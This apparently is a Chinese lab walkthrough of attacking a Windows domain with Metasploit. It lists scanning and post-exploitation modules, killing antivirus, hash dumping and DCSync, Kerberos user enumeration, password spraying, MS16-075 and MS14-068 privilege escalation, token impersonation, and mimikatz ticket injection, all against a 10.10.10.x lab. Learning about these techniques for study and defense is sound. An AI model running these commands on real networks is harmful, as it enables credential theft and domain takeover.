参考:https://longwaer.blog.csdn.net/article/details/122751394
用花生壳让公网的webshell 访问到我们内网的kali
参考:链接 f5 搜索花生壳
https://blog.csdn.net/HBohan/article/details/120922360?utm_source=app&app_version=5.1.1&code=app_1562916241&uLinkId=usr1mkqgl919blen
域信息收集
1.常用信息收集模块
auxiliary/scanner/discovery/arp_sweep #基于arp协议发现内网存活主机,这不能通过代理使用
auxiliary/scanner/portscan/ack #基于tcp的ack回复进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname
我们这里就挑smb的来进行扫描:
use auxiliary/scanner/smb/smb_version #选择攻击模块
set rhost 10.10.10.0/24 #设置网段
set THREADS 20 #设置线程
从图中我们是可以看出是存在域环境的。
但我们发现是域环境时,则可以利用模块来进行信息收集:
首先通过进程迁移到域用户权限:
2.收集域信息
run post/windows/gather/enum_logged_on_users #查看登录过的用户信息
run post/windows/gather/enum_ad_groups #查看组信息
run post/windows/gather/enum_domain #定位域控
run post/windows/gather/enum_ad_computers #域内所有机器
run post/windows/gather/enum_patches #发现缺失的补丁
run post/multi/recon/local_exploit_suggester #快速识别可能被利用的漏洞
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump #dump出所有用户的hash
run post/windows/gather/enum_domain_tokens #寻找域token
使用常用模块进行域内信息收集:
获取登陆用户的SID:
利用失败了,有知道的师傅请告知万分感谢!
3.获取域控信息及域内主机信息:
4.获取域token:
5.获取域用户的hash:(需要管理员权限)
dcsync_ntlm:
#通过DCSync检索用户帐户NTLM散列、SID和RID
6.密码喷射
1.检测 用户账号 存在用户
或者可以用github的字典
https://github.com/attackdebris/kerberos_enum_userlists
通过从上面的信息收集,我们可以对域内用户进行枚举:
通过提示语来进行判断是否存在,required表示存在
use auxiliary/gather/kerberos_enumusers
set DOMAIN redteam.club
set RHOSTS 10.10.10.142
set USER_FILE 用户名字典
利用失败了(原因)。。。
原因:用了中文路径
2.枚举后,则可以使用密码来进行尝试爆破:
use auxiliary/scanner/smb/smb_login #密码爆破
由于这个模块爆破三次,就会锁定,所以我们明智的方法就是使用一个密码去试多个账户:
假设已经获取了明文密码,则可以用来进行爆破:
用收集到的user名做字典,开始爆破
权限提升
getsystem/getprivs
1.发现无法不是最高权限,getsystem/getprivs并未成功
2.一般使用最多的是ms16_075
的方式提权了,这个成功率高,试试
但是由于我们是内网,所以就必须准备两个msf窗口
才能使用msf的提取功能
ms16-075方法:
①msf窗口1执行监听命令
②msf窗口2权限低的那个会话执行提权命令
run exploit/windows/local/ms16_075_reflection_juicy lhost=x.x.x.x lport=666
1.令牌登录
获取session后,我们可以使用进程迁移(migrate),同样我们可以
1.使用假冒令牌登陆:
load incognito #加载
list_tokens -u #列出当前系统可用的token
impersonate_token 'NT AUTHORITY\SYSTEM' #假冒system
必须先 load incognito,后面就能tab 键补齐
这里同样可以假冒域用户的权限:
2.窃取令牌
steal_token
窃取令牌:主要通过ps查看pid值,来进行窃取:
使用drop_token
则可以返回原始权限,和假冒令牌中的rev2self作用一样。
3.注意
但窃取令牌是不能窃取域用户的,假冒和迁移是可以使用域用户的token和进程。
但两者的区别在于: 假冒可以退回原始权限,而迁移后,是不能退回原始权限。
(到域用户)前者假冒(list_token)后不能使用getuid,而后者(migrate ps)可以使用。
域普通用户提权到域控权限
win2008里可以使 MS14-068 exp模块对域普通用户进行提取
ms14-068使用可看我的另外一篇博客MS14-068漏洞进行提权
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN redteam.club yes The Domain (upper case) Ex: DEMO.LOCAL
PASSWORD 123456 yes The Domain User password
RHOSTS 10.10.10.137 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 88 yes The target port
Timeout 10 yes The TCP timeout to establish connection and read data
USER administrator yes The Domain User
USER_SID S-1-5-21-3439616436-2844000184-3841763578-1105 yes The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
失败原因——不是winserver2008
1.成功会生成.bin
文件
2.mimikatz对bin文件进行转换
kerberos::clist "xxxx_windows.kerberos_xxxxx.bin" /export
生成.kirbi
文件
3.使用kiwi模块进行票据注入/或者使用 mimikatz导入 bin文件 。
keberos::ptc xxxx_windows.kerberos_xxxxx.bin